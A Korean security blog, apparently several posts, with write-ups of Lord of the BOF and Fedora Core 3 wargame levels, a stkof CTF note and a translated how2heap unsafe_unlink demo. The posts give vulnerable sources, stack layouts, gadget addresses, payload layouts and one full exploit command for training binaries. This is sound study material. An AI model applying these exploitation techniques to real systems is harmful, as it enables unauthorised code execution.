stkof

Posted by dw0rdptr
2017. 9. 2. 10:23 System



문제가 불친절하다ㅠ 

1 : malloc

2 : modify

3 : free 

4 : ?


1 - malloc


입력한 size만큼 malloc하는데 bss영역에 포인터가 저장되어 unlink 공격을 할 수 있다.



2 - modify


3 - free

4번 메뉴의 strlen got를 printf의 plt로 overwrite해 libc 주소를 leak하면 system의 주소를 구해서 익스 가능하다. 




'System' 카테고리의 다른 글

how2heap - unsafe_unlink  (0) 2017.08.27

how2heap - unsafe_unlink

Posted by dw0rdptr
2017. 8. 27. 22:36 System


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
 
 
uint64_t *chunk0_ptr;
 
int main()
{
    printf("unlink 2.0에 오신것을 환영합니다!\n"); //
    printf("환경은 우분투 14.04/16.04 64bit\n"); //환
    printf("이 기술은 unlink가 가능한 지역에 포인터가 있을 때 사용할 수 있습니다.\n"); //
    printf("가장 일반적인 시나리오는 오버플로우 취약점과 전역 포인터를 가지고 있는 버퍼입니다.\n"); //
 
    int malloc_size = 0x80;//fastbins으로 동작하게 하지 않기 위해 충분한 공간을 줍니다.
    int header_size = 2;
 
    printf("이 연습의 핵심은 free를 사용해 전역 chunk0_ptr를 손상시켜 임의의 메모리를 쓰는것입니다.\n\n"); //
    chunk0_ptr = (uint64_t*malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*malloc(malloc_size); //chunk1
    printf("전역 chunk0_ptr은 %p, %p를 가르킵니다.\n"&chunk0_ptr, chunk0_ptr); //
    printf("우리가 손상시킬 청크는 %p\n\n", chunk1_ptr); //
 
    printf("가짜청크를 chunk0에 생성합니다.\n"); //
    printf("만든 가짜 청크의 'next_free_chunk'(fd)를 &chunk0_ptr 근처로 설정하여 P-> fd-> bk = P가 되도록 합니다.\n"); //
    chunk0_ptr[2= (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    printf("가짜 청크의 'previous_free_chunk'(bk)를 &chunk0_ptr 근처로 설정하여 P->bk->fd = P가 되도록 합니다.\n"); //
    printf("위 설정으로 다음 검사를 통과 할 수 있습니다 (P->fd->bk != P || P->bk->fd != P) == False\n"); //
    chunk0_ptr[3= (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
    printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
 
    printf("가짜 청크의 'size' 와 다음 청크의'previous_size'가 일치하는지 확인해야 합니다.(fd->prev_size)\n"); //
    printf("위 설정으로 다음 검사를 통과 할 수 있습니다. (chunksize(P) != prev_size (next_chunk(P)) == False\n");//
    printf("P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&(~ 0x7))\n");
    
    printf("만약 x = chunk0_ptr [1] & (~ 0x7)이면 x = *(chunk0_ptr + x)입니다.\n"); //
    printf("*(chunk0_ptr + x) = x로 설정하면 체크를 통과 할 수 있습니다.\n"); //
    printf("1. x = chunk0_ptr [1] & (~ 0x7) = 0, * (chunk0_ptr + 0) = 0을 설정해야합니다. 다시말해 아무것도 안해야 합니다.\n");//
    printf("2. 64비트에서는 chunk0_ptr = 0x8로 설정하고 *(chunk0_ptr + 0x8) == chunk0_ptr[1]로 설정하면 됩니다.\n");//
    printf("3. 마지막으로 chunk0_ptr = x를 64비트 env로 설정하고 *(chunk0_ptr+x) = x를 설정할 수도 있습니다. 예를들어 : chunk_ptr0 [1] = 0x20, chunk_ptr0 [4] = 0x20\n");//
    chunk0_ptr[1= sizeof(size_t);
    printf("가짜 청크의 'size'를 chunk0_ptr[-3]으로 설정합니다:0x%08lx\n", chunk0_ptr[1]);//
    printf("커밋 비교는https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30 에서 할수 있습니다.\n\n");//
    printf("chunk0에 오버플로우가 발생해 chunk1 메타데이터를 바꿀 수 있다고 가정합니다.\n");//
    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    printf("chunk0 (chunk1에서 'previous_size'로 저장)의 크기를 줄여 free가 chunk0이 가짜 청크에서 시작한다고 착각하게 만듭니다.\n");//
    printf("가짜 청크는 알려진 포인터가 가리키는 곳에서 정확하게 시작되고 그에 따라 청크의 크기를 줄이는 것이 중요합니다.\n");//
    chunk1_hdr[0= malloc_size;
    printf("'정상적으로' chunk0을 free했다면, chunk1의 previous_size는 0x90이었겠지만, 이 값은 새로운 값입니다 : %p\n",(void*)chunk1_hdr[0]);//
    printf("chunk1의 'previous_in_use'를 False로 설정하여 가짜 청크가 free된 것 처럼 표시합니다.\n\n"); //
    chunk1_hdr[1&= ~1;
 
    printf("이제 chunk1을 free해 역으로 병합하면 가짜청크가 unlink되어 chunk0_ptr을 덮어 쓰게 됩니다.\n");//
    printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
    free(chunk1_ptr);
 
    printf("여기서 chunk0_ptr을 덮어씌워 임의의 위치를 가르키도록 할 수 있습니다.\n");//
    char victim_string[8];
    strcpy(victim_string,"Hello!~");
    chunk0_ptr[3= (uint64_t) victim_string;
 
    printf("chunk0_ptr은 이제 우리가 원하는 곳을 가리키고 이것을 이용해 victim string에 덮어씌울수 있습니다.\n"); //
    printf("Original value: %s\n",victim_string);
    chunk0_ptr[0= 0x4141414142424242LL;
    printf("New Value: %s\n",victim_string);
}
 
 
 
 
 
 
cs




'System' 카테고리의 다른 글

stkof  (0) 2017.09.02

FC3 evil_wizard->dark_stone

Posted by dw0rdptr
2017. 4. 7. 20:05 System/FC3

/*
    The Lord of the BOF : The Fellowship of the BOF
    - dark_stone
    - Remote BOF on Fedora Core 3
    - hint : GOT overwriting again
    - port : TCP 8888
*/

#include <stdio.h>

// magic potion for you
void pop_pop_ret(void)
{
    asm("pop %eax");
    asm("pop %eax");
    asm("ret");
}
 
int main()
{
    char buffer[256];
    char saved_sfp[4];
    int length;
    char temp[1024];

    printf("dark_stone : how fresh meat you are!\n");
    printf("you : ");
    fflush(stdout);

    // give me a food
    fgets(temp, 1024, stdin);

    // for disturbance RET sleding
    length = strlen(temp);
  
    // save sfp
    memcpy(saved_sfp, buffer+264, 4);
 
    // overflow!!
    strcpy(buffer, temp);

    // restore sfp
    memcpy(buffer+264, saved_sfp, 4);

            // disturbance RET sleding
          memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));

    // buffer cleaning
    memset(0xf6ffe000, 0, 0xf7000000-0xf6ffe000);

    printf("%s\n", buffer);
}




이쯤되면 문제 패턴이 예상가능해진다. 역시나 전레벨 문제+remote.. remote를 제외하고 달라진점은 버퍼를 비운다는 점이다. 어차피 GOT Overwrite로 풀꺼라 신경쓰이지는 않지만.

기법정리
RTL chaining으로 /bin/sh가젯을 하나씩 구해 bss에 overwrite 후 system호출&인자 bss   --> ascii armor 우회불가능(ftz level11을 이렇게 풀었다)

RTL chaining으로 system주소를 1 byte씩 직접 printf@got 에 overwrite, print@plt 호출후 AAAA+&/bin/sh

지금까지 사용한 exploit방법인데 이번엔 좀 다르게 풀겠다

custom stack을 bss로 두고 RTL chaining으로 system주소를 하나씩 overwrite 후 printf@got에 bss를 한번에 overwrite, print@plt 호출후 AAAA+&/bin/sh

주소를 구해보자

strcpy.plt : 0x8048438       
printf.plt : 0x8048408 
printf.got : 0x804984c
pop pop ret
: 0x80484f3
.bss : 0x08049868           
system : 0x7507c0           
    c0 0x80484d0
    07 0x804817c
    75 0x80482b4
    00 0x8049804
/bin/sh : 0x833603


payload 구성 : dummy * 268
+ strcpy.plt + pop pop ret + bss+0 + system[0]
+ strcpy.plt + pop pop ret + bss+1 + system[1]
+ strcpy.plt + pop pop ret + bss+2 + system[2]
+ strcpy.plt + pop pop ret + bss+3 + system[3]
+ strcpy.plt + pop pop ret + printf@got + bss
+printf@plt + AAAA+ &/bin/sh


원격으로 쉘을 따자






'System > FC3' 카테고리의 다른 글

FC3 hell_fire->evil_wizard  (0) 2017.04.07
FC3 dark_eyes->hell_fire  (0) 2017.04.07
FC3 iron_golem->dark_eyes  (0) 2017.04.07
FC3 gate->iron_golem  (0) 2017.04.07

FC3 hell_fire->evil_wizard

Posted by dw0rdptr
2017. 4. 7. 19:59 System/FC3

/*
    The Lord of the BOF : The Fellowship of the BOF
    - evil_wizard
    - Local BOF on Fedora Core 3
    - hint : GOT overwriting
*/

// magic potion for you
void pop_pop_ret(void)
{
    asm("pop %eax");
    asm("pop %eax");
    asm("ret");
}
 
int main(int argc, char *argv[])
{
    char buffer[256];
    char saved_sfp[4];
    int length;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    // for disturbance RET sleding
    length = strlen(argv[1]);
   
        // healing potion for you
        setreuid(geteuid(), geteuid());
        setregid(getegid(), getegid());

    // save sfp
    memcpy(saved_sfp, buffer+264, 4);
 
    // overflow!!
    strcpy(buffer, argv[1]);

    // restore sfp
    memcpy(buffer+264, saved_sfp, 4);

        // disturbance RET sleding
        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));

        printf("%s\n", buffer);
}

중요한 가젯인 pop pop ret를 magic potion이라면서 대놓고준다.
RET sleding과 fake ebp를 막아놓았다.

힌트에도 나와있듯이 GOT overwrite를 이용해 풀자

strcpy로 printf.got를 system으로 바꿔 system을 실행할것이다. pop pop ret가 주어졌으니 RTL chaining 으로 프로그램 내에서 system의 주소 가젯을 구해 printf.got를 overwrite한다. 그뒤 /bin/sh의 주소를 찾아 인자로 주자.

system과 pop pop ret 가젯은 objdump로 구하고 plt와 got는 gdb로 구하자

(쓰지않는 함수주소도 일단 구하고봤다)
execve.plt : 0x715490  
memcpy.plt : 0x8048434
strcpy.plt  : 0x8048494  -> \x94\x84\x04\x08
memset.plt : 0x8048474
printf.plt : 0x8048424  printf.got : 0x8049884  -> \x84\x98\x04\x08
&system : 0x7507c0      c0  07  75  00  gadget
            c0 : 0x8048535  \x35\x85\x04\x08
            07 : 0x8048388 \x88\x83\x04\x08
            75 : 0x80482c8 \xc8\x82\x04\x08
            00 : 0x8049840 \x40\x98\x04\x08
pop pop ret : 0x804854f  -> \x4f\x85\x04\x08



페이로드
| dummy*268 |
| strcpy@plt | pop pop ret | printf.got | system[0] gadget |
| strcpy@plt | pop pop ret | printf.got+1 | system[1] gadget |
| strcpy@plt | pop pop ret | printf.got+2 | system[2] gadget |
| strcpy@plt | pop pop ret | printf.got+3 | system[3] gadget |
| printf@plt | dummy[4] | &/bin/sh |



'System > FC3' 카테고리의 다른 글

FC3 evil_wizard->dark_stone  (1) 2017.04.07
FC3 dark_eyes->hell_fire  (0) 2017.04.07
FC3 iron_golem->dark_eyes  (0) 2017.04.07
FC3 gate->iron_golem  (0) 2017.04.07

FC3 dark_eyes->hell_fire

Posted by dw0rdptr
2017. 4. 7. 19:53 System/FC3

/*
    The Lord of the BOF : The Fellowship of the BOF
    - hell_fire
    - Remote BOF on Fedora Core 3
    - hint : another fake ebp or got overwriting
    - port : TCP 7777
*/



#include <stdio.h>

int main()
{
    char buffer[256];
    char saved_sfp[4];
    char temp[1024];
 
    printf("hell_fire : What's this smell?\n");
    printf("you : ");
    fflush(stdout);

    // give me a food
    fgets(temp, 1024, stdin);
  
    // save sfp
    memcpy(saved_sfp, buffer+264, 4);
 
    // overflow!!
    strcpy(buffer, temp);

    // restore sfp
    memcpy(buffer+264, saved_sfp, 4);

    printf("%s\n", buffer);
}

remote bof라 이전 레벨처럼 링크를 이용한 공격이 불가능하다. 그 이유는 원본 hell_fire에는 setuid가 걸려 있지않고, xinetd으로 동작하는 hell_fire에서 쉘을 따야 하기때문이다.


전에 iron_golem을 풀때 system과 exec함수의 차이점을 공부하는 도중 https://www.joinc.co.kr/w/man/3/system 에서 'system() 함수는 /bin/sh -c string을 호출해 string에 지정된 명령어를 실행하고(생략)/bin/sh를 실행시키기 위한 execve()의 호출...' 에서 system함수에서 인자를받아 execve와 "/bin/sh"를 호출하는 부분이 있다는것을 알수 있다.

간단히 말하면 system함수 내에 do_system에서 "/bin/sh" 를 호출하는 부분이 있는데, ret에 이주소를 넣으면 쉘이 실행된다.

먼저 스택구조를 보면
temp[1024]  | dummy1[??] | saved_sfp[4] | dummy2[??] | buffer[256] | dummy3[??] | sfp[4] | ret [4] |

더미값을 268개 줬을때 segmentation fault가 떴으므로 dummy3은 8이다.


system함수를 분석해보면 아래에 do_system을 호출한다.


do_system 내부에서 execve를 호출하므로 /bin/sh도 위 어딘가에서 인자로 받을것이다. 어딨는지모르겠으니 노가다로 하나씩...해보자

페이로드
| dummy[268] | &/bin/sh |




사실 이문제는 do_system아이디어를 다른곳에서 보고 푼것이기 때문에 제대로 풀었다고는 볼수없다.

힌트에서 준 another fake ebp는 main이 종료되고 돌아가는 함수의 sfp를 덮어쓴다는 방법이라는데 이부분도 공부해두면 좋을거같다.

'System > FC3' 카테고리의 다른 글

FC3 evil_wizard->dark_stone  (1) 2017.04.07
FC3 hell_fire->evil_wizard  (0) 2017.04.07
FC3 iron_golem->dark_eyes  (0) 2017.04.07
FC3 gate->iron_golem  (0) 2017.04.07

FC3 iron_golem->dark_eyes

Posted by dw0rdptr
2017. 4. 7. 18:10 System/FC3

/*
    The Lord of the BOF : The Fellowship of the BOF
    - dark_eyes
    - Local BOF on Fedora Core 3
    - hint : RET sleding
*/
int main(int argc, char *argv[])
{
    char buffer[256];
    char saved_sfp[4];
   
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
  
    // save sfp
    memcpy(saved_sfp, buffer+264, 4);
 
    // overflow!!
    strcpy(buffer, argv[1]);

    // restore sfp
    memcpy(buffer+264, saved_sfp, 4);

    printf("%s\n", buffer);
}




sfp값을 저장해두고 복구하기 때문에 fake ebp로 공략이 불가능하다. 힌트에서 알려준대로 RET sleding로 공격하자.


RET sleding : RET Sleding은 RET를 연속적으로 호출해 스택상의 스택포인터 위치를 위로 옮기는 방법이다.

ASCII Armor가 적용되어 있어 인자구성이 불가능할 때 스택에서 쓸 수 있는 인자를 찾는다. 인자의 위치까지 함수 실행 위치를 끌어올릴때 RET Sleding을 사용하면 직접 인자를 구성하지 않아도 공격이 가능하다. 여기서 RET는 어셈블리 명령어로 함수 에필로그의 LEAVE RET 과정중 하나인데 RET는 pop eip, jmp eip 명령어로 구성되어 있다. pop이 있어 RET를 한번 호출하면 esp가 증가하게 되는 것이다.

먼저 스택구조를 보자

gdb로 분석해보면
| saved_sfp[4] | dummy1[12] | buffer[256] | dummy[8] | sfp[4] | ret[4] | 이렇게 된다
dummy크기는 대충 때려맞추고 gdb로 분석했다.

이 문제에서도 execl함수를 쓸건데, 먼저 RET가젯과 스택에서 execl의 인자로 줄 수 있는 부분을 찾자


 


 
0x0083eff4를 execl의 인자로 주자
execl을 호출할땐 | &execl | &exit | Arg1 | 구조가 되므로 Arg1에 0x0083eff4의 주소가 들어가야 한다.

그럼 execl은 0x0083eff4의 주소에서 8을 뺀 주소에 위치해야 하므로
0xfee3cf2c - 8(&0x0083eff4) =0xfee3cf28

0xfee3cf28에서 execl을 실행하려면 RET sled를 세번 타야된다.

이제 인자로 0x0083ff4가 들어가고 실행되는 주소에 전 문제와 같이 exploit 코드를 짜서 심볼릭링크를 걸어준다.



 
0x0083eff4를 실행하면 나오는 주소인 0x0083ed3c를 심볼릭링크의 이름으로 걸어준다.

최종 페이로드

| (buf+sfp)dummy[268] | RET | RET | RET | &execl |




'System > FC3' 카테고리의 다른 글

FC3 evil_wizard->dark_stone  (1) 2017.04.07
FC3 hell_fire->evil_wizard  (0) 2017.04.07
FC3 dark_eyes->hell_fire  (0) 2017.04.07
FC3 gate->iron_golem  (0) 2017.04.07

FC3 gate->iron_golem

Posted by dw0rdptr
2017. 4. 7. 17:56 System/FC3

/*
    The Lord of the BOF : The Fellowship of the BOF
    - iron_golem
    - Local BOF on Fedora Core 3
    - hint : fake ebp
*/
int main(int argc, char *argv[])
{
    char buffer[256];

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}


소스는 매우 간단하지만 fedora성부터는 LOB와 달리 여러 보호 기법이 적용되어 있기 때문에 공격하기 훨씬 복잡해진다.

[환경 요약]
Stack Dummy : O
Down privileage of bash : O
Random Stack : O
Random Library : X
Random Program Binary Mapped : X
ASCII Armor : O
Non-Executable Stack : O
Non-Executable Heap : O
Stack Carany : X
Stack Smashing Protector : X


몇개 간단하게 설명을 하자면

Random Stack,heap(ASLR) : 스택,힙에 할당되는 주소를 프로그램이 실행될때마다 랜덤으로 배치해 고정적인 메모리주소를 참조하지 못하게 하는 보호기법

Non-Executable Stack,heap(Nx bit) : 스택과 힙영역에서의 실행권한을 제거해 해당 영역 내에서 쉘코드를 실행하지 못하게하는 보호기법


ASCII Armor : 공유 라이브러리 주소의 최상위 비트를 \x00으로 매핑해 공유라이브러리 주소가 포함된 공격코드 실행 중간에 \x00을 NULL값으로 인식하고 이를 기점으로 실행을 중단하게 만드는 보호기법. 때문에 RTL뒤에 인자전달이나 연속호출이 불가능

위의 보호기법때문에 스택내에서 직접 쉘코드를 실행시키는 공격기법과 일반적인 RTL공격은 불가능하게된다.


hint에 fake ebp가있어 fake ebp로 풀겠다.

ASCII Armor -> ASCII Armor가 적용되지 않는 got영역을 실행
ASLR -> fake ebp로 고정적 인자 참조가능


GOT는 나중에 ROP기법에서 매우 중요하게 쓰인다. PLT와 함께 미리 공부해두자

PLT (Procedure Linkage Table) :  함수 첫 호출시 함수의 실제주소를 알아내 호출 후 GOT에 함수주소 저장. 두번째 호출시 GOT에 저장된 주소를 참조해 함수호출

GOT (Global Offset Table) : 실제 함수 주소를 저장하는곳

PLT GOT 자세히알기 : https://bpsecblog.wordpress.com/2016/03/09/about_got_plt_2/


공격 시나리오는 이렇다

1. ASCII Armor가 걸려있지 않은 got영역을 이용한다.

2. fake ebp로 ebp를 got주소로 이동시킨다. 

3. got로 쉘을 실행시키는 프로그램을 심볼릭 링크로 연결해 최종적으로 쉘을 딴다.

gdb로 스택구성을 먼저 보자
| buffer[256] | dummy[8] | sfp[4] | ret[4] |
로 구성되어 있다.



구해야 하는것 : got.plt, execl 주소
execl : 0x00715720  (ASLR기법으로 첫바이트가 00임)
got.plt : 0x08049618



0x804954c <_DYNAMIC> : 0x00000001

got를 호출하면 0x00000001을 참조하는데, 이때 마지막바이트가 '\x01'이면 작성한 exploit 프로그램이 실행되게 심볼릭링크를 만들어준다.


쉘을 실행하는 exploit 프로그램

got에서 0x00000001 가 실행되면 exploit 프로그램이 실행된다.
그럼 공격 성공

그렇다면
| dummy[264] | &GOT | &execl |
이 페이로드가 되겠지만 이대로 공격을 해도 쉘이 따지지 않는다. execl의 프롤로그와 에필로그 과정에서 ebp와 esp를 건드리게 되고 fake ebp가 제대로 성공하지 않기 때문. 공격이 성공하려면 이러한 과정을 고려해야 한다.
 

execl의 첫부분이다. 기껏 fake ebp로 ebp를 got로 보내버렸는데

push %ebp / mov %esp,%ebp(프롤로그) 과정을 거치면 ebp가 엉뚱한데로 가버린다. 그래서 이부분을 무시하기위해 execl+3을 페이로드에 쓴다.

또 이 함수가 끝날때 leave / ret (에필로그) 부분에서 esp를 ebp로 옮기고 pop을 두번 수행하는데 이렇게되면 got+8주소가 실행된다. 때문에 페이로드에서 got-8을 쓰면 정상적으로 got를 실행하게 되는 것이다.

페이로드
| dummy[264] | &GOT-8 | &execl+3 |

./iron_golem `python -c 'print "A"*264 + "\x10\x96\x04\x08"+"\x23\x57\x7a\x00"'`

 









의문점 :

execl함수를 쓰는 이유는 아마 프로그램 실행권한을 가진 함수라 작성한 exploit 프로그램을 iron_golem 권한으로 실행시켜주기 때문인거 같은데.. 같은기능인 system함수로는 되지 않는다. execv함수로도 공격이 성공했는데 execl, execv와 system의 차이가 무엇인지 더 공부해야겠다.


결론 :

system함수는 exec와 fork의 조합이다. exec는 새로운 프로세스를 실행시킬때 현재 프로세스 메모리 공간에 덮어쓴다.

반면에 system은 fork로 새로운 자식 프로세스를 생성후 exec를 호출해 명령어를 실행하는 구조이다. 아마 system으로 공격이 실패한 이유가 이러한 차이때문인 것 같다.


'System > FC3' 카테고리의 다른 글

FC3 evil_wizard->dark_stone  (1) 2017.04.07
FC3 hell_fire->evil_wizard  (0) 2017.04.07
FC3 dark_eyes->hell_fire  (0) 2017.04.07
FC3 iron_golem->dark_eyes  (0) 2017.04.07

[LOB] nightmare -> xavious

Posted by dw0rdptr
2015. 6. 27. 21:31 System/LOB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
 
main()
{
    char buffer[40];
    char *ret_addr;
 
    // overflow!
    fgets(buffer, 256, stdin);
    printf("%s\n", buffer);
 
    if(*(buffer+47== '\xbf')
    {
        printf("stack retbayed you!\n");
        exit(0);
    }
 
    if(*(buffer+47== '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }
 
    // check if the ret_addr is library function or not
    memcpy(&ret_addr, buffer+444);
    while(memcmp(ret_addr, "\x90\x90"2!= 0)    // end point of function
    {
        if(*ret_addr == '\xc9'){        // leave
            if(*(ret_addr+1== '\xc3'){    // ret
                printf("You cannot use library function!\n");
                exit(0);
            }
        }
        ret_addr++
    }
 
        // stack destroyer
        memset(buffer, 044);
    memset(buffer+4800xbfffffff - (int)(buffer+48));
 
    // LD_* eraser
    // 40 : extra space for memset function
    memset(buffer-300003000-40);
}
cs


쓸수 있는게 별로없다.

스택사용불가, leave ret사용불가, 라이브러리사용불가, LD_PRELOAD 사용불가

뭘쓰라는거야



stdin 임시입력버퍼 찾으면됨


strace ./xavius로 찾아보면 mmap으로 메모리 공간 확보하고 read()로 입력받는다
-> fets()는 read()를 사용한다.
-> 확보된 메모리공간 찾아가보면 입력받은 string이 남아있을 것.



페이로드와 Password


'System > LOB' 카테고리의 다른 글

[LOB] succubus -> nightmare  (0) 2015.06.01
[LOB] zombie_assassin -> succubus  (0) 2015.04.30
[LOB] assassin -> zombie_assassin  (0) 2015.04.18
[LOB] giant -> assassin  (0) 2015.04.14
[LOB] bugbear -> giant  (2) 2015.04.14

[LOB] succubus -> nightmare

Posted by dw0rdptr
2015. 6. 1. 21:44 System/LOB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>
 
main(int argc, char *argv[])
{
    char buffer[40];
    char *addr;
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    // check address
    addr = (char *)&strcpy;
    if(memcmp(argv[1]+44, &addr, 4!= 0){
           printf("You must fall in love with strcpy()\n");
           exit(0);
    }
 
    // overflow!
   strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
   
 
    // dangerous waterfall
    memset(buffer+40+8'A'4);
}
cs

빨리 LOB끝내고 pwnable.kr를 풀어야하므로 간단하게 정리한다


ret주소엔 strcpy(*dst, *src)주소인지 확인한다. 그리고 아래 memset은 strcpy()의 ret를 AAAA로 초기화시킨다.

[buffer][sfp][ret(strcpy@plt)][AAAA(strcpy()의 ret)][dest][src]


페이로드는
argv[1] : [buffer][sfp][strcpy()][AAAA][&AAAA][argv[2]]
argv[2] : [system()][BBBB or exit()][/bin/sh]


strcpy()함수를 사용해 AAAA로 초기화되어있는 strcpy()의 ret주소에 argv[2], system()함수가 있는 두번째 인자값을 복사한다.

strcpy함수가 종료되면서 ret에 의해 argv[2]로 뛰면 성공


&AAAA(strcpy() ret)와 argv[2]의 주소를 구하면 끝. 주소는 소스코드를 수정해 구함


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>
 
main(int argc, char *argv[])
{
        char buffer[40];
        char *addr;
        printf("buffer:%p\n",buffer);
        printf("argv[2]:%p\n",argv[2]);
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        // check address
        addr = (char *)&strcpy;
        if(memcmp(argv[1]+44, &addr, 4!= 0){
                printf("You must fall in love with strcpy()\n");
                exit(0);
        }
 
        // overflow!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
 
        // dangerous waterfall
        memset(buffer+40+8'A'4);
}
 
 
cs

 - 수정된 코드



&AAAA : 0xbffffa60+44= 0xbffffa90

argv[2] : 0xbffffc22


페이로드와 Password



'System > LOB' 카테고리의 다른 글

[LOB] nightmare -> xavious  (1) 2015.06.27
[LOB] zombie_assassin -> succubus  (0) 2015.04.30
[LOB] assassin -> zombie_assassin  (0) 2015.04.18
[LOB] giant -> assassin  (0) 2015.04.14
[LOB] bugbear -> giant  (2) 2015.04.14

[LOB] zombie_assassin -> succubus

Posted by dw0rdptr
2015. 4. 30. 16:38 System/LOB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously 
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
 
// the inspector
int check = 0;
 
void MO(char *cmd)
{
        if(check != 4)
                exit(0);
 
        printf("welcome to the MO!\n");
 
    // olleh!
    system(cmd);
}
 
void YUT(void)
{
        if(check != 3)
                exit(0);
 
        printf("welcome to the YUT!\n");
        check = 4;
}
 
void GUL(void)
{
        if(check != 2)
                exit(0);
 
        printf("welcome to the GUL!\n");
        check = 3;
}
 
void GYE(void)
{
    if(check != 1)
        exit(0);
 
    printf("welcome to the GYE!\n");
    check = 2;
}
 
void DO(void)
{
    printf("welcome to the DO!\n");
    check = 1;
}
 
 
 
main(int argc, char *argv[])
{
    char buffer[40];
    char *addr;
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    // you cannot use library
    if(strchr(argv[1], '\x40')){
        printf("You cannot use library\n");
        exit(0);
    }
 
    // check address
    addr = (char *)&DO;
        if(memcmp(argv[1]+44, &addr, 4!= 0){
                printf("You must fall in love with DO\n");
                exit(0);
        }
 
    // overflow!
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
 
    // stack destroyer
    // 100 : extra space for copied argv[1]
    memset(buffer, 044);
    memset(buffer+48+10000xbfffffff - (int)(buffer+48+100));
 
    // LD_* eraser
    // 40 : extra space for memset function
    memset(buffer-300003000-40);
}
cs

소스가 길어졌다... 힌트를 보면 calling functions continuously, 함수 연속호출을 뜻하는것 같다


전역변수로 check를 선언한다

공유라이브러리를 사용할 수 없고, ret가 함수 DO의 주소가아니면 종료해버린다.

DO,GYE,GUL,YUT,MO를 연속적으로 호출해 함수MO의 system함수로 쉘을 실행시키자


ret에 DO의 주소를 덮으면 DO가 호출된다. ret로 호출된 함수는 그 함수의 ret가 생성되지 않기 때문에 바로 다음함수인 GYE의 주소를 덮어쓴다. 이런식으로 먼저 MO까지 호출해보자


DO : 0x80487ec
GYE : 0x80487bc
GUL : 0x804878c
YUT : 0x804875c
MO : 0x8048724

-> gdb로 구한 함수의주소

[ buffer+sfp(44bytes) ][DO()][GYE()][GUL()][YUT()][MO()]


MO까지 성공적으로 호출했다. MO는 *cmd를 인자로 받는데 공유라이브러리를 쓰지 못하니 argv[1]에 /bin/sh를 쓰고 주소를 구해 전달하자

[ buffer+sfp(44bytes) ][DO()][GYE()][GUL()][YUT()][MO()][dummy(4bytes)][&/bin/sh][/bin/sh]


먼저 core를 떨어트려 주소를구하자

[ buffer+sfp(44bytes) ][DO()][GYE()][GUL()][YUT()][MO()][AAAA][BBBB][CCCC]

/bin/sh 가 들어갈 주소인 0xbffffa68이 $/bin/sh이다


페이로드와 Password



'System > LOB' 카테고리의 다른 글

[LOB] nightmare -> xavious  (1) 2015.06.27
[LOB] succubus -> nightmare  (0) 2015.06.01
[LOB] assassin -> zombie_assassin  (0) 2015.04.18
[LOB] giant -> assassin  (0) 2015.04.14
[LOB] bugbear -> giant  (2) 2015.04.14